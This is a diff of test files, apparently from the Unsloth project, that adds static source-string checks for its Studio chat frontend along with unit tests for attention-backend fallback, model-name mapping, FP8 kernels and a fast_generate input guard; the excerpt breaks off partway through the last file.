+    assert "group/assistant-message aui-assistant-message-root" in thread_src
+    assert "pointer-events-none relative h-0" in thread_src
+    assert "MessageResponseModelBadge" not in reasoning_src
+    assert 'className="min-w-0 flex-1"' in reasoning_src
+
+
+def test_response_details_metadata_is_persisted_without_backend_schema_change():
+    src = ADAPTER_TS.read_text()
+    assert "interface ResponseDetailsMetadata" in src
+    assert "buildResponseDetails" in src
+    assert "responseDetails: buildResponseDetails(finishedAt)" in src
+    assert "toolCalls: Array.from(" in src
+    assert "!isExternalRequest && supportsTools && toolsEnabled" in src
+    assert "!isExternalRequest && supportsTools && codeToolsEnabled" in src
+    assert re.search(r"selectedModelSummary\?\.name\s*\|\|\s*responseModelId", src)
+    assert "providerName" in src
+    assert "cancelId" in src
+    metadata_block = src[
+        src.find("interface ResponseDetailsMetadata") : src.find("type RunMessages")
+    ]
+    builder_block = src[
+        src.find("const buildResponseDetails") : src.find("const externalCapabilities")
+    ]
+    for forbidden in [
+        "encrypted_api_key",
+        "externalApiKey",
+        "apiKey",
+        "providerKey",
+        "secret",
+    ]:
+        assert forbidden not in metadata_block
+        assert forbidden not in builder_block
diff --git a/tests/studio/test_chat_thinking_compact_layout.py b/tests/studio/test_chat_thinking_compact_layout.py
new file mode 100644
index 0000000000..23b6797782
--- /dev/null
+++ b/tests/studio/test_chat_thinking_compact_layout.py
@@ -0,0 +1,33 @@
+"""Responsive contract for the composer Thinking control."""
+
+from pathlib import Path
+
+
+REPO = Path(__file__).resolve().parents[2]
+THREAD_TSX = REPO / "studio/frontend/src/components/assistant-ui/thread.tsx"
+SHARED_TSX = REPO / "studio/frontend/src/features/chat/shared-composer.tsx"
+INDEX_CSS = REPO / "studio/frontend/src/index.css"
+
+
+def test_thinking_control_has_compact_hooks_in_both_composers():
+    for path in (THREAD_TSX, SHARED_TSX):
+        source = path.read_text(encoding = "utf-8")
+        assert 'className="unsloth-thinking-label"' in source
+        assert "unsloth-thinking-caret size-[15px]" in source
+        assert 'data-pill-label="Thinking settings"' in source
+
+
+def test_narrow_composer_collapses_thinking_to_the_bulb():
+    css = INDEX_CSS.read_text(encoding = "utf-8")
+
+    # Query the composer width instead of the full viewport.
+    assert css.count("container-type: inline-size;") >= 2
+    compact_start = css.index("@container (max-width: 36rem)")
+    compact_end = css.index("/* Smaller tick", compact_start)
+    compact_rule = css[compact_start:compact_end]
+
+    assert ".unsloth-thinking-pill" in compact_rule
+    assert "@apply size-8" in compact_rule
+    assert ".unsloth-thinking-label" in compact_rule
+    assert ".unsloth-thinking-caret" in compact_rule
+    assert "display: none;" in compact_rule
diff --git a/tests/studio/test_chat_title_generation.py b/tests/studio/test_chat_title_generation.py
index 4f82b4ec03..b568a51400 100644
--- a/tests/studio/test_chat_title_generation.py
+++ b/tests/studio/test_chat_title_generation.py
@@ -65,6 +65,8 @@ def test_title_model_payload_includes_optional_assistant_reply():
     assert "if (assistant)" in block
     assert "parts.push(`Assistant: ${assistant}`);" in block
     assert 'parts.join("\\n")' in block
+    assert "enable_thinking: false" in block
+    assert 'reasoning_effort: "none"' in block
 
 
 def test_generate_title_passes_first_assistant_reply_after_first_user():
@@ -81,6 +83,25 @@ def test_generate_title_passes_first_assistant_reply_after_first_user():
     assert "assistantText," in block
 
 
+def test_tool_call_only_first_assistant_still_uses_first_user_message():
+    source = RUNTIME_TSX.read_text()
+    extract_block = " ".join(_balanced_block(source, "function extractTextParts").split())
+    generate_block = " ".join(_balanced_block(source, "async generateTitle(remoteId").split())
+
+    assert (
+        '.filter((p): p is Extract<typeof p, { type: "text" }> => p.type === "text")'
+        in extract_block
+    )
+    assert (
+        "const userText = extractTextParts(firstUser) || defaultTitle; const assistantText = extractTextParts(firstAssistant);"
+        in generate_block
+    )
+    assert (
+        "(await generateTitleWithModel({ userText, assistantText, })) || fallbackTitleFromUserText(userText);"
+        in generate_block
+    )
+
+
 def test_auto_title_disabled_uses_deterministic_user_text_fallback():
     block = _balanced_block(
         RUNTIME_TSX.read_text(),
@@ -93,12 +114,18 @@ def test_auto_title_disabled_uses_deterministic_user_text_fallback():
 
 
 def test_model_failure_still_falls_back_to_user_text():
-    block = _balanced_block(
-        RUNTIME_TSX.read_text(),
-        "async generateTitle(remoteId",
+    source = RUNTIME_TSX.read_text()
+    model_block = _source_until(
+        source,
+        "async function generateTitleWithModel",
+        "\nconst inflightTitleByKey",
     )
+    generate_block = _balanced_block(source, "async generateTitle(remoteId")
 
-    assert "})) || fallbackTitleFromUserText(userText);" in block
+    assert "finish_reason?: string | null;" in source
+    assert 'if (choice?.finish_reason === "length") return null;' in model_block
+    assert r"if (!raw || /<\/?think>/i.test(raw)) return null;" in model_block
+    assert "})) || fallbackTitleFromUserText(userText);" in generate_block
 
 
 def test_title_normalizer_still_enforces_output_constraints():
@@ -113,3 +140,4 @@ def test_title_normalizer_still_enforces_output_constraints():
     assert 'replace(/[.!?:;,]+/g, " ")' in block
     assert 'title.split(" ").filter(Boolean).slice(0, 6)' in block
     assert "joined.length > 60" in block
+    assert "return normalizeTitle(raw);" in block
diff --git a/tests/studio/test_compact_dropdown_submenus.py b/tests/studio/test_compact_dropdown_submenus.py
new file mode 100644
index 0000000000..c82b1e4751
--- /dev/null
+++ b/tests/studio/test_compact_dropdown_submenus.py
@@ -0,0 +1,41 @@
+"""Compact viewport contracts for nested dropdown menus."""
+
+from pathlib import Path
+
+
+REPO = Path(__file__).resolve().parents[2]
+DROPDOWN_MENU = REPO / "studio/frontend/src/components/ui/dropdown-menu.tsx"
+FRONTEND_SRC = REPO / "studio/frontend/src"
+
+
+def test_shared_submenu_uses_its_layout_width_on_mobile():
+    source = DROPDOWN_MENU.read_text(encoding = "utf-8")
+    assert 'import { useIsMobile } from "@/hooks/use-mobile";' in source
+    assert "element.offsetWidth" in source
+    assert "element.getBoundingClientRect().width" not in source
+    assert "new ResizeObserver(updateContentWidth)" in source
+    assert "isMobile && contentWidth > 0 ? -contentWidth : sideOffset" in source
+    assert "sideOffset={compactSideOffset}" in source
+    assert 'isMobile && contentWidth === 0 ? "hidden"' in source
+    assert "-248" not in source
+
+
+def test_shared_submenu_never_exceeds_the_compact_viewport():
+    source = DROPDOWN_MENU.read_text(encoding = "utf-8")
+    assert "max-w-[calc(100vw-2rem)]" in source
+
+
+def test_consumers_do_not_duplicate_compact_offset_logic():
+    for path in FRONTEND_SRC.rglob("*.tsx"):
+        if path == DROPDOWN_MENU:
+            continue
+        source = path.read_text(encoding = "utf-8")
+        assert "compactSubmenuOffset" not in source, path
+
+
+def test_all_submenu_consumers_use_the_shared_primitive():
+    for path in FRONTEND_SRC.rglob("*.tsx"):
+        if path == DROPDOWN_MENU:
+            continue
+        source = path.read_text(encoding = "utf-8")
+        assert "DropdownMenuPrimitive.SubContent" not in source, path
diff --git a/tests/studio/test_frontend_dep_removal.py b/tests/studio/test_frontend_dep_removal.py
index fb1b5ace7b..aead44f0cd 100644
--- a/tests/studio/test_frontend_dep_removal.py
+++ b/tests/studio/test_frontend_dep_removal.py
@@ -37,10 +37,11 @@ class Case:
 CASES: list[Case] = [
     Case(
         "C1",
-        "removing next-themes breaks 2 src imports",
-        ["next-themes"],
-        "FAIL",
+        "removing next-themes is a no-op: replaced by the custom theme store, "
+        "no longer a declared dep or src import",
         ["next-themes"],
+        "PASS",
+        [],
     ),
     Case(
         "C2",
@@ -85,10 +86,11 @@ CASES: list[Case] = [
     ),
     Case(
         "C8",
-        "multi-remove with mixed safety: next-themes + @huggingface/hub + dexie all unsafe",
+        "multi-remove with mixed safety: next-themes is now a no-op (removed), "
+        "@huggingface/hub + dexie still unsafe",
         ["next-themes", "@huggingface/hub", "dexie"],
         "FAIL",
-        ["next-themes", "@huggingface/hub", "dexie"],
+        ["@huggingface/hub", "dexie"],
     ),
     Case(
         "C9",
diff --git a/tests/studio/test_locale_root_direction_contract.py b/tests/studio/test_locale_root_direction_contract.py
new file mode 100644
index 0000000000..1baabdbbca
--- /dev/null
+++ b/tests/studio/test_locale_root_direction_contract.py
@@ -0,0 +1,30 @@
+"""Regression guard for locale changes affecting the entire Studio layout."""
+
+from pathlib import Path
+
+
+REPO = Path(__file__).resolve().parents[2]
+LOCALE_STORE = REPO / "studio/frontend/src/i18n/locale-store.ts"
+MESSAGES = REPO / "studio/frontend/src/i18n/messages.ts"
+SONNER = REPO / "studio/frontend/src/components/ui/sonner.tsx"
+
+
+def test_locale_changes_do_not_force_document_direction():
+    src = LOCALE_STORE.read_text(encoding = "utf-8")
+    assert "document.documentElement.lang = locale" in src
+    assert "document.documentElement.dir" not in src, (
+        "locale changes must not force the root direction; html[dir] changes "
+        "third-party component layout, including Sonner close-button positioning"
+    )
+
+
+def test_locale_metadata_does_not_advertise_unused_layout_direction():
+    src = MESSAGES.read_text(encoding = "utf-8")
+    locales_block = src[src.index("export const LOCALES") : src.index("export type Locale")]
+    assert "dir:" not in locales_block
+
+
+def test_toast_close_position_does_not_inherit_root_direction():
+    src = SONNER.read_text(encoding = "utf-8")
+    assert '"--toast-close-button-start": "auto"' in src
+    assert '"--toast-close-button-start": "unset"' not in src
diff --git a/tests/studio/test_settings_compact_overflow_contract.py b/tests/studio/test_settings_compact_overflow_contract.py
new file mode 100644
index 0000000000..b8547975d2
--- /dev/null
+++ b/tests/studio/test_settings_compact_overflow_contract.py
@@ -0,0 +1,35 @@
+"""Responsive overflow contracts for the settings dialog."""
+
+from pathlib import Path
+
+
+REPO = Path(__file__).resolve().parents[2]
+SETTINGS_DIALOG = REPO / "studio/frontend/src/features/settings/settings-dialog.tsx"
+API_MONITOR = REPO / "studio/frontend/src/features/settings/components/api-monitor-console.tsx"
+GENERAL_TAB = REPO / "studio/frontend/src/features/settings/tabs/general-tab.tsx"
+
+
+def test_dialog_content_can_shrink_inside_the_dialog_grid():
+    source = SETTINGS_DIALOG.read_text(encoding = "utf-8")
+    assert "flex h-full min-h-0 min-w-0 w-full max-sm:flex-col" in source
+    assert "relative flex min-h-0 min-w-0 flex-1 flex-col" in source
+
+
+def test_api_monitor_entries_and_expanded_text_can_shrink():
+    source = API_MONITOR.read_text(encoding = "utf-8")
+    assert (
+        '<article className="min-w-0 rounded-lg border border-border/70 bg-background">' in source
+    )
+    assert (
+        '<section className="flex min-w-0 flex-col rounded-lg border border-border/70 bg-background">'
+        in source
+    )
+    assert source.count('className="max-h-44 overflow-auto whitespace-pre-wrap break-words') == 2
+
+
+def test_embedding_model_controls_stack_on_the_narrowest_viewports():
+    source = GENERAL_TAB.read_text(encoding = "utf-8")
+    assert (
+        'className="max-[360px]:flex-col max-[360px]:items-stretch max-[360px]:gap-3"'
+    ) in source
+    assert 'className="w-[220px] max-[360px]:min-w-0 max-[360px]:flex-1"' in source
diff --git a/tests/studio/test_stream_cancel_registration_timing.py b/tests/studio/test_stream_cancel_registration_timing.py
index 7cfe9bf32c..a833006873 100644
--- a/tests/studio/test_stream_cancel_registration_timing.py
+++ b/tests/studio/test_stream_cancel_registration_timing.py
@@ -17,7 +17,7 @@ from pathlib import Path
 
 
 SOURCE_PATH = Path(__file__).resolve().parents[2] / "studio" / "backend" / "routes" / "inference.py"
-SRC = SOURCE_PATH.read_text()
+SRC = SOURCE_PATH.read_text(encoding = "utf-8")
 _TREE = ast.parse(SRC)
 
 
@@ -166,16 +166,20 @@ def test_chat_completions_streams_avoid_starlette_task_group():
 
 
 def test_openai_passthrough_stream_avoids_starlette_task_group():
-    top = _async_function("_openai_passthrough_stream")
+    functions = [
+        _async_function("_openai_passthrough_stream"),
+        _async_function("_openai_passthrough_stream_admitted"),
+    ]
     legacy_calls = []
     same_task_calls = 0
-    for sub in ast.walk(top):
-        if not (isinstance(sub, ast.Call) and isinstance(sub.func, ast.Name)):
-            continue
-        if sub.func.id == "StreamingResponse":
-            legacy_calls.append(sub.lineno)
-        if sub.func.id == "_SameTaskStreamingResponse":
-            same_task_calls += 1
+    for fn in functions:
+        for sub in ast.walk(fn):
+            if not (isinstance(sub, ast.Call) and isinstance(sub.func, ast.Name)):
+                continue
+            if sub.func.id == "StreamingResponse":
+                legacy_calls.append(sub.lineno)
+            if sub.func.id == "_SameTaskStreamingResponse":
+                same_task_calls += 1
     assert not legacy_calls, (
         "OpenAI passthrough streams must use _SameTaskStreamingResponse, "
         "not Starlette's legacy task-group StreamingResponse. Lines: "
@@ -197,7 +201,7 @@ def test_direct_llama_server_streams_install_disconnect_watcher():
         "openai_completions",
         "_responses_stream",
         "_anthropic_passthrough_stream",
-        "_openai_passthrough_stream",
+        "_openai_passthrough_stream_admitted",
     }
     missing = [
         name
diff --git a/tests/studio/test_usage_examples_agent_detection_contract.py b/tests/studio/test_usage_examples_agent_detection_contract.py
new file mode 100644
index 0000000000..0dc16f0d30
--- /dev/null
+++ b/tests/studio/test_usage_examples_agent_detection_contract.py
@@ -0,0 +1,21 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Static contract for API usage-example agent detection scope."""
+
+from pathlib import Path
+
+REPO = Path(__file__).resolve().parents[2]
+USAGE_EXAMPLES_TSX = REPO / "studio/frontend/src/features/settings/components/usage-examples.tsx"
+
+
+def test_agent_detection_requires_desktop_scope():
+    src = USAGE_EXAMPLES_TSX.read_text(encoding = "utf-8")
+    assert 'import { isTauri } from "@/lib/api-base"' in src
+    assert "function canUseLocalAgentDetection(base: string): boolean" in src
+    helper = src[src.find("function canUseLocalAgentDetection") : src.find("const SHIKI_THEMES")]
+    assert "if (!isTauri) return false" in helper
+    assert "isLoopbackHost(normalizeHost(new URL(base).hostname))" in helper
+    assert "const localAgentDetection = canUseLocalAgentDetection(base)" in src
+    assert "if (!localAgentDetection)" in src
+    assert "}, [localAgentDetection]);" in src
diff --git a/tests/test_attn_impl_honor_explicit.py b/tests/test_attn_impl_honor_explicit.py
new file mode 100644
index 0000000000..3fb7a2208f
--- /dev/null
+++ b/tests/test_attn_impl_honor_explicit.py
@@ -0,0 +1,190 @@
+"""An explicit non-flash attention request must survive the flash disable path.
+
+When flash attention is disabled for a model, a caller who explicitly asked for
+"sdpa" or "flex_attention" should keep that choice instead of being downgraded
+to whatever the conservative supports_* fallback would pick.
+"""
+
+import pytest
+
+from unsloth.models._utils import (
+    _disable_flash_attention_if_needed,
+    resolve_attention_implementation,
+)
+
+
+def test_explicit_sdpa_is_honored_even_when_not_marked_supported():
+    config = {}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = "sdpa",
+        supports_sdpa = False,  # conservative flag would have skipped sdpa
+        supports_flex_attention = False,
+        would_use_flash_attention = True,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "sdpa"
+    assert config.get("_attn_implementation") == "sdpa"
+
+
+def test_explicit_flex_is_honored_when_supported():
+    config = {}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = "flex_attention",
+        supports_sdpa = True,
+        supports_flex_attention = True,
+        would_use_flash_attention = True,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "flex_attention"
+    assert config.get("_attn_implementation") == "flex_attention"
+
+
+def test_explicit_flex_falls_back_when_not_supported():
+    # flex_attention is False for known-broken/excluded configs (e.g. gpt_oss),
+    # so an explicit flex request must not select that backend - it falls back.
+    config = {}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = "flex_attention",
+        supports_sdpa = True,
+        supports_flex_attention = False,
+        would_use_flash_attention = True,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "sdpa"
+
+
+def test_synthesized_config_sdpa_is_not_treated_as_explicit():
+    # The language loader seeds the config with attn_implementation="sdpa"; when the
+    # caller passes nothing, that synthesized value must not override the flex fallback
+    # for a model that supports flex but not sdpa.
+    config = {"attn_implementation": "sdpa"}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = None,
+        supports_sdpa = False,
+        supports_flex_attention = True,
+        would_use_flash_attention = False,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "flex_attention"
+
+
+def test_no_disable_reason_returns_request_untouched():
+    result = _disable_flash_attention_if_needed(
+        {},
+        attn_implementation = "flash_attention_2",
+        disable_reason = None,
+    )
+    assert result == "flash_attention_2"
+
+
+def test_flash_request_still_falls_back_when_disabled():
+    config = {}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = "flash_attention_2",
+        supports_sdpa = True,
+        would_use_flash_attention = True,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "sdpa"
+
+
+def test_resolver_honors_explicit_sdpa_when_not_supported_and_flash_disabled():
+    # End-to-end through the public resolver: an explicit sdpa request with a
+    # flash-disabled config (oversized head dim) and supports_sdpa=False must not be
+    # rewritten to eager by the resolver's own not-supports_sdpa guard.
+    config = {"model_type": "test", "head_dim": 512}  # head_dim > 256 disables flash
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = "sdpa",
+        supports_sdpa = False,
+    )
+    assert result == "sdpa"
+    assert config.get("_attn_implementation") == "sdpa"
+
+
+def test_resolver_downgrades_non_explicit_sdpa_when_not_supported():
+    # No explicit request: the model resolution seeds sdpa/eager and the guard must
+    # still downgrade a synthesized sdpa to eager for a model that cannot run it.
+    config = {"model_type": "test", "attn_implementation": "sdpa"}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = None,
+        supports_sdpa = False,
+    )
+    assert result == "eager"
+
+
+def test_resolver_downgrades_explicit_sdpa_for_sdpa_excluded_model():
+    # gpt_oss is in _SDPA_EXCLUDED_MODELS (sdpa is known-broken) and _FLASH_EXCLUDED_MODELS
+    # (flash disabled). Honoring an explicit sdpa request must not re-enable that broken
+    # backend: it downgrades to eager, mirroring how an explicit flex request falls back
+    # for _FLEX_EXCLUDED_MODELS. supports_sdpa=True proves the exclusion overrides even a
+    # model that otherwise advertises SDPA support.
+    config = {"model_type": "gpt_oss"}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = "sdpa",
+        supports_sdpa = True,
+    )
+    assert result == "eager"
+    assert config.get("_attn_implementation") == "eager"
+
+
+@pytest.mark.parametrize("model_type", ["gemma3", "gemma3_text"])
+def test_resolver_downgrades_explicit_sdpa_for_disable_sdpa_model(model_type):
+    # gemma3 / gemma3_text are in DISABLE_SDPA_MODEL_NAMES: the loader forces
+    # supports_sdpa=False because their bundled SDPA modules are wrong. An explicit
+    # sdpa request with flash disabled must NOT re-enable that known-wrong path - it
+    # downgrades to eager, exactly like _SDPA_EXCLUDED_MODELS (gpt_oss). head_dim>256
+    # disables flash to mirror the real flash-disabled scenario.
+    config = {"model_type": model_type, "head_dim": 512}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = "sdpa",
+        supports_sdpa = False,
+    )
+    assert result == "eager"
+    assert config.get("_attn_implementation") == "eager"
+
+
+def test_resolver_does_not_overmatch_gemma3n_for_explicit_sdpa():
+    # The "gemma3," trailing-comma guard must not match gemma3n: gemma3n is not in
+    # DISABLE_SDPA_MODEL_NAMES, so it stays a conservative (not known-wrong) model and an
+    # explicit sdpa request is still honored. Proves the substring match neither over- nor
+    # under-matches.
+    config = {"model_type": "gemma3n", "head_dim": 512}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = "sdpa",
+        supports_sdpa = False,
+    )
+    assert result == "sdpa"
+    assert config.get("_attn_implementation") == "sdpa"
+
+
+def test_resolver_downgrades_synthesized_sdpa_for_disable_sdpa_model():
+    # A synthesized/default sdpa (requested is None; the value came from config) on a
+    # DISABLE_SDPA_MODEL_NAMES model must still downgrade to eager.
+    config = {"model_type": "gemma3", "attn_implementation": "sdpa"}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = None,
+        supports_sdpa = False,
+    )
+    assert result == "eager"
+
+
+if __name__ == "__main__":
+    import sys
+    sys.exit(pytest.main([__file__, "-q"]))
diff --git a/tests/test_bad_mappings_redirect.py b/tests/test_bad_mappings_redirect.py
new file mode 100644
index 0000000000..49dab2d98b
--- /dev/null
+++ b/tests/test_bad_mappings_redirect.py
@@ -0,0 +1,47 @@
+"""Regression test for BAD_MAPPINGS redirecting oversized dynamic quants.
+
+get_model_name previously applied BAD_MAPPINGS only to the resolver's output,
+but several listed names (the `-unsloth-bnb-4bit` dynamic quants, plus any name
+the resolver doesn't map) come back as None, so their BAD_MAPPINGS entries were
+dead and the oversized model loaded. Asserting over every entry catches all of
+them. The mapper table and the resolver have no heavy imports of their own,
+so we exec the import-free mapper module and ast-extract the resolver functions
+rather than importing unsloth (which needs a GPU).
+"""
+
+import ast
+import os
+
+_MODELS = os.path.join(os.path.dirname(__file__), os.pardir, "unsloth", "models")
+
+
+def _load_get_model_name():
+    mapper_ns = {}
+    with open(os.path.join(_MODELS, "mapper.py"), encoding = "utf-8") as f:
+        exec(compile(f.read(), "mapper.py", "exec"), mapper_ns)
+
+    with open(os.path.join(_MODELS, "loader_utils.py"), encoding = "utf-8") as f:
+        tree = ast.parse(f.read())
+
+    namespace = dict(mapper_ns)
+    namespace["SUPPORTS_FOURBIT"] = True
+    namespace["_env_says_offline"] = lambda: True
+    namespace["_get_new_mapper"] = lambda: ({}, {}, {})
+
+    wanted = {"__get_model_name", "_resolve_with_mappers", "get_model_name"}
+    for node in tree.body:
+        if isinstance(node, ast.Assign) and any(
+            getattr(target, "id", None) == "BAD_MAPPINGS" for target in node.targets
+        ):
+            exec(compile(ast.Module([node], []), "<bad_mappings>", "exec"), namespace)
+        elif isinstance(node, ast.FunctionDef) and node.name in wanted:
+            exec(compile(ast.Module([node], []), node.name, "exec"), namespace)
+
+    return namespace["get_model_name"], namespace["BAD_MAPPINGS"]
+
+
+def test_bad_mappings_redirect_every_listed_name():
+    get_model_name, bad_mappings = _load_get_model_name()
+    assert bad_mappings, "BAD_MAPPINGS should not be empty"
+    for name, expected in bad_mappings.items():
+        assert get_model_name(name, load_in_4bit = True) == expected, name
diff --git a/tests/test_fast_gemv_dispatch.py b/tests/test_fast_gemv_dispatch.py
new file mode 100644
index 0000000000..7758db2cd9
--- /dev/null
+++ b/tests/test_fast_gemv_dispatch.py
@@ -0,0 +1,63 @@
+# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+"""`get_lora_parameters` must not treat a `weight_scale` as a quant state for a weight that is
+already dequantized to bf16 (e.g. a compressed-tensors layer at forward time). Otherwise the
+bnb fast_gemv / fast_dequantize path reads a missing `absmax` and crashes.
+"""
+
+from types import SimpleNamespace
+
+import pytest
+import torch
+
+# unsloth.kernels.utils imports bitsandbytes unconditionally, so skip the whole module up
+# front on runners without it (e.g. CPU-only) before importing unsloth, otherwise collection
+# errors instead of producing a skip. Any other import error still surfaces as a failure.
+pytest.importorskip("bitsandbytes")
+
+import unsloth  # noqa: F401  (sets UNSLOTH_IS_PRESENT before transformers)
+from unsloth.kernels.utils import get_lora_parameters_bias, _FP8_WEIGHT_DTYPES
+
+_FP8 = _FP8_WEIGHT_DTYPES[0] if _FP8_WEIGHT_DTYPES else None
+
+
+def _proj(weight, weight_scale = None):
+    proj = SimpleNamespace(weight = weight, bias = None, merged = False)
+    if weight_scale is not None:
+        proj.weight_scale = weight_scale
+    return proj
+
+
+def test_bf16_weight_scale_not_used_as_quant_state():
+    """A bf16 weight carrying a weight_scale (compressed-tensors) -> quant state must be None."""
+    proj = _proj(torch.randn(4, 4, dtype = torch.bfloat16), torch.rand(2, 2))
+    W, W_quant = get_lora_parameters_bias(proj)[:2]
+    assert W_quant is None
+
+
+def test_fp8_weight_keeps_scale():
+    """An actual fp8 weight still resolves its weight_scale as the quant state."""
+    if _FP8 is None:
+        pytest.skip("no float8 dtype in this torch build")
+    scale = torch.rand(2, 2)
+    proj = _proj(torch.randn(4, 4).to(_FP8), scale)
+    W, W_quant = get_lora_parameters_bias(proj)[:2]
+    assert W_quant is scale
+
+
+def test_plain_bf16_has_no_quant_state():
+    proj = _proj(torch.randn(4, 4, dtype = torch.bfloat16))
+    W, W_quant = get_lora_parameters_bias(proj)[:2]
+    assert W_quant is None
diff --git a/tests/test_fast_generate_slow_guard.py b/tests/test_fast_generate_slow_guard.py
new file mode 100644
index 0000000000..6bfc561e54
--- /dev/null
+++ b/tests/test_fast_generate_slow_guard.py
@@ -0,0 +1,95 @@
+"""GPU-free test for the fast_generate slow-mode guard in _utils.py.
+
+When fast_inference=False, model.fast_generate falls back to HuggingFace generate, so vLLM-only
+inputs must be rejected with a clear message instead of leaking into transformers.generate. Covers
+a string prompt, a vLLM {"prompt":..., "multi_modal_data":...} dict, SamplingParams passed both
+positionally and as a kwarg, and a normal tokenized call passing through.
+"""
+
+import ast, functools, os
+
+HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+UTILS = os.path.join(HERE, "unsloth", "models", "_utils.py")
+
+
+def _load_factory():
+    src = open(UTILS).read()
+    for node in ast.parse(src).body:
+        if isinstance(node, ast.FunctionDef) and node.name == "make_fast_generate_wrapper":
+            ns = {"functools": functools}
+            exec(ast.get_source_segment(src, node), ns)
+            return ns["make_fast_generate_wrapper"]
+    raise AssertionError("make_fast_generate_wrapper not found in _utils.py")
+
+
+make_fast_generate_wrapper = _load_factory()
+
+
+class _SamplingParams:
+    pass
+
+
+_SamplingParams.__name__ = "SamplingParams"  # match by class name, no vllm import needed
+
+
+def _wrapper():
+    state = {}
+
+    def original_generate(*a, **k):
+        state["hit"] = True
+        return "ok"
+
+    return make_fast_generate_wrapper(original_generate), state
+
+
+def _rejects(fn, needle):
+    try:
+        fn()
+    except ValueError as e:
+        assert needle in str(e), str(e)
+        return True
+    raise AssertionError("expected ValueError")
+
+
+def test_fast_generate_slow_guard():
+    w, _ = _wrapper()
+    # reject every vLLM-only shape
+    assert _rejects(lambda: w("hello"), "fast_inference=True")
+    assert _rejects(
+        lambda: w({"prompt": "hi", "multi_modal_data": {"image": None}}), "fast_inference=True"
+    )
+    assert _rejects(lambda: w(["a", "b"]), "fast_inference=True")
+    assert _rejects(lambda: w([{"prompt": "hi"}]), "fast_inference=True")  # list of prompt dicts
+    assert _rejects(
+        lambda: w({"prompt_token_ids": [1, 2, 3]}), "fast_inference=True"
+    )  # vLLM TokensPrompt
+    assert _rejects(lambda: w(prompts = "hello"), "fast_inference=True")  # vLLM `prompts` kwarg
+    assert _rejects(
+        lambda: w(prompts = [{"prompt": "hi"}]), "fast_inference=True"
+    )  # vLLM `prompts` kwarg list
+    assert _rejects(
+        lambda: w(prompt_token_ids = [1, 2, 3]), "fast_inference=True"
+    )  # vLLM legacy tokenized kwarg
+    assert _rejects(
+        lambda: w(prompts = [1, 2, 3]), "fast_inference=True"
+    )  # token-id list via vLLM-only `prompts` kwarg
+    assert _rejects(
+        lambda: w(prompts = None), "fast_inference=True"
+    )  # vLLM-only kwarg present even if None
+    assert _rejects(lambda: w({"prompt": "hi"}, _SamplingParams()), "sampling_params")
+    assert _rejects(
+        lambda: w({"prompt": "hi"}, [_SamplingParams()]), "sampling_params"
+    )  # list of SamplingParams
+    assert _rejects(lambda: w(sampling_params = object()), "sampling_params")
+
+    # pass normal tokenized calls with no false positives
+    w, state = _wrapper()
+    assert w(input_ids = "TOKENS", max_new_tokens = 8) == "ok" and state.get("hit")
+    assert w([1, 2, 3], max_new_tokens = 8) == "ok"  # positional token ids
+    assert w([], max_new_tokens = 8) == "ok"  # empty positional
+    print("13 reject + 3 pass fast_generate slow-mode guard cases passed")
+
+
+if __name__ == "__main__":
+    test_fast_generate_slow_guard()
+    print("OK: fast_generate rejects vLLM-style inputs when fast_inference=False")
diff --git a/tests/test_fp8_device_context.py b/tests/test_fp8_device_context.py
new file mode 100644
index 0000000000..2eea35f4e6
--- /dev/null
+++ b/tests/test_fp8_device_context.py
@@ -0,0 +1,249 @@
+from __future__ import annotations
+
+import ast
+from contextlib import nullcontext
+from pathlib import Path
+from types import SimpleNamespace
+
+import pytest
+
+
+REPO_ROOT = Path(__file__).resolve().parents[1]
+FP8_SOURCE = REPO_ROOT / "unsloth" / "kernels" / "fp8.py"
+
+
+class _FakeDeviceModule:
+    def __init__(self, device_count: int) -> None:
+        self._device_count = device_count
+        self.device_calls = []
+
+    def device_count(self) -> int:
+        return self._device_count
+
+    def device(self, device):
+        self.device_calls.append(device)
+        return ("device-context", device)
+
+
+class _FakeTorch:
+    Tensor = object
+
+    def __init__(
+        self,
+        cuda_device_count: int,
+        xpu_device_count: int = 0,
+    ) -> None:
+        self.cuda = _FakeDeviceModule(cuda_device_count)
+        self.xpu = _FakeDeviceModule(xpu_device_count)
+
+
+class _LaunchVisitor(ast.NodeVisitor):
+    def __init__(self) -> None:
+        self.guarded_launches: set[str] = set()
+        self.unguarded_launches: set[str] = set()
+        self._inside_fp8_device_context = 0
+
+    def visit_With(self, node: ast.With) -> None:
+        enters_context = any(
+            isinstance(item.context_expr, ast.Call)
+            and isinstance(item.context_expr.func, ast.Name)
+            and item.context_expr.func.id == "_fp8_triton_device_context"
+            for item in node.items
+        )
+        if enters_context:
+            self._inside_fp8_device_context += 1
+        for statement in node.body:
+            self.visit(statement)
+        if enters_context:
+            self._inside_fp8_device_context -= 1
+
+    def visit_Call(self, node: ast.Call) -> None:
+        launch_name = self._triton_launch_name(node)
